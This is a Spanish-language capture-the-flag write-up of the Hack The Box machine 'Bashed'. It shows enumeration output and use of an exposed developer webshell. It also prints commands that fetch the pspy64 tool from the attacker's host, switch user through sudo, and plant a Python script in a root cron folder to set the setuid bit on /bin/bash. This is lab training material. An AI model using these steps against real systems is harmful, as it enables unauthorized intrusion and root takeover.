Bashed

Difficulty : Easy
Operating System : Linux
Rating : 4.4
Author : Arrexel
Description
Esta maquina es muy sencilla. El desarrollador nos brinda una webshell directa con la que accederemos al sistema para realizar una escalada de privilegios muy basica..
Enumeration
Para la enumeracion basica vamos a utilizar una tool que he desarrollado especificamente para trabajar con maquinas en la plataforma hackthebox. Esta herramienta crea la carpeta de trabajo, realiza un escaneo basico con nmap y si encuentra un servicio web le lanza una enumeracion basica.
Descarga: HTBenum
Nmap
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
Whatweb
http://bashed.htb [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.252.211], JQuery, Meta-Author[Colorlib], Script[text/javascript], Title[Arrexel's Development Site]
HTTP Headers
HTTP/1.1 200 OK
Date: Mon, 08 Nov 2021 11:09:40 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Mon, 04 Dec 2017 23:03:42 GMT
ETag: "1e3f-55f8bbac32f80"
Accept-Ranges: bytes
Content-Length: 7743
Vary: Accept-Encoding
Content-Type: text/html
ffuz
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://bashed.htb/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
images [Status: 301, Size: 309, Words: 20, Lines: 10]
uploads [Status: 301, Size: 310, Words: 20, Lines: 10]
php [Status: 301, Size: 306, Words: 20, Lines: 10]
css [Status: 301, Size: 306, Words: 20, Lines: 10]
dev [Status: 301, Size: 306, Words: 20, Lines: 10]
js [Status: 301, Size: 305, Words: 20, Lines: 10]
fonts [Status: 301, Size: 308, Words: 20, Lines: 10]
server-status [Status: 403, Size: 298, Words: 22, Lines: 12]
- Nikto v2.1.6/2.1.5
+ Target Host: bashed.htb
+ Target Port: 80
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
+ HEAD Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.46). Apache 2.2.34 is the EOL for the 2.x branch.
+ GET IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: GET The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ GET Server may leak inodes via ETags, header found with file /, inode: 1e3f, size: 55f8bbac32f80, mtime: gzip
+ OPTIONS Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
+ GET /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: GET /css/: Directory indexing found.
+ OSVDB-3092: GET /css/: This might be interesting.
+ OSVDB-3268: GET /dev/: Directory indexing found.
+ OSVDB-3092: GET /dev/: This might be interesting.
+ OSVDB-3268: GET /php/: Directory indexing found.
+ OSVDB-3092: GET /php/: This might be interesting.
+ OSVDB-3268: GET /images/: Directory indexing found.
+ OSVDB-3233: GET /icons/README: Apache default file found.
User Own
Una vez revisados los directorios obtenidos con la aplicacion ffuf, encuentro un php interesante bajo el directorio dev

Se trata de una webshell que el mismo autor promociona en el index principal de la web, que nos permite ejecutar comandos arbitrarios en el sistema. Por lo que la escalacion es bastante sencilla, simplemente vamos a subir al servidor una reverseshell de nuestra eleccion y ejecutarla contra nuestra maquina atacante para movernos en un entorno mas comodo y a partir de ahi escalar privilegios.

Con la shell en nuestra terminal y trabajando comodamente, realizo una enumeracion basica y veo que tengo permisos en sudoers para convertirme en el usuario scriptmanager
www-data@bashed:/var/www/html/dev$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
www-data@bashed:/var/www/html/dev$ sudo -u scriptmanager /bin/bash
scriptmanager@bashed:/var/www/html/dev$ id
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)
Root Own
Desde el usuario scriptmanager busco carpetas donde pueda escribir y veo que hay un directorio interesante llamado /scripts
scriptmanager@bashed:/var/www/html/dev$ find / -writable -type d 2>/dev/null
/scripts
/home/scriptmanager
/home/scriptmanager/.nano
/proc/950/task/950/fd
/proc/950/fd
/proc/950/map_files
/var/www/html/uploads
/var/tmp
/var/lib/php/sessions
/run/lock
/tmp
/tmp/.Test-unix
/tmp/.font-unix
/tmp/.XIM-unix
/tmp/VMwareDnD
/tmp/.ICE-unix
/tmp/.X11-unix
/dev/mqueue
/dev/shm
scriptmanager@bashed:/var/www/html/dev$ ls -alt /scripts/
total 16
-rw-r--r-- 1 root root 12 Nov 9 04:02 test.txt
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 .
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
drwxr-xr-x 23 root root 4096 Dec 4 2017 ..
scriptmanager@bashed:/var/www/html/dev$ date
Tue Nov 9 04:02:57 PST 2021
scriptmanager@bashed:/var/www/html/dev$ cat /scripts/test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
Observo que el fichero test.txt se ha creado recientemente y que parece que ha sido creado desde el script test.py pero por el usuario root. Intuyo que hay un cron en el sistema que ejecuta el usuario root.
Para asegurarme voy a llevar a la maquina la herramienta pspy64 que me va a decir los procesos que se ejecutan en todo el sistema en tiempo real.
scriptmanager@bashed:/scripts$ wget 10.10.14.96:8000/pspy64
--2021-11-09 04:07:48-- http://10.10.14.96:8000/pspy64
Connecting to 10.10.14.96:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: 'pspy64'
pspy64 100%[===============================================================================>] 2.94M 3.01MB/s in 1.0s
2021-11-09 04:07:49 (3.01 MB/s) - 'pspy64' saved [3078592/3078592]
scriptmanager@bashed:/scripts$ chmod +x pspy64
scriptmanager@bashed:/scripts$ ./pspy64
Como podemos observar en la imagen, hay un cron ejecutandose por root cada minuto que lanza cualquier .py ubicado en la carpeta /scripts. Ahora simplemente podemos hacer un script en python que aplique el bit setuid a /bin/bash por el usuario root y convertirnos en superusuario ejecutando bash.
scriptmanager@bashed:/scripts$ cat dameroot.py
import os
os.system('chmod 4755 /bin/bash')
Esperamos un minuto....
scriptmanager@bashed:/scripts$ ls -alt /bin/bash
-rwsr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash
scriptmanager@bashed:/scripts$ /bin/bash -p
bash-4.3# id
uid=1001(scriptmanager) gid=1001(scriptmanager) euid=0(root) groups=1001(scriptmanager)